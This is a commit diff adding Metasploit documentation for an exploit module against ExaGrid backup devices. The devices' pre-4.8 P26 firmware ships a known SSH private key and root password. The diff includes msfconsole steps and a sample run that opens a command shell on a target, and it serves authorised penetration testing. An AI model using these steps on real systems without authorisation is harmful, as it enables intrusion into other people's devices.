Land #7314, Module documentation for exagrid_privkey

documentation/modules/exploit/linux/ssh/exagrid_known_privkey.md

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+## Vulnerable Application
+
+  ExaGrid devices having a firmware before version 4.8 P26 contain a known ssh private key, and root password
+
+## Verification Steps
+
+  1. Start msfconsole
+  2. Do: `use exploit/linux/ssh/exagrid_known_privkey`
+  3. Do: `set rhost <ip>`
+  4. Do: `exploit`
+  5. You should get a shell.
+
+## Scenarios
+
+This is a run against a known vulnerable ExaGrid device.
+```
+msf > use exploit/linux/ssh/exagrid_known_privkey
+msf exploit(exagrid_known_privkey) > set rhost 1.2.3.4
+rhost => 1.2.3.4
+msf exploit(exagrid_known_privkey) > run
+
+[+] Successful login
+[*] Command shell session 3 opened (140.172.223.184:39269 -> 1.2.3.4:22) at 2016-07-23 10:03:19 -0400
+
+ExaGrid diagnostic tools are available in this shell.
+02:05:49 up 12 days, 9:12, 0 users, load average: 3.32, 2.88, 9.21
+```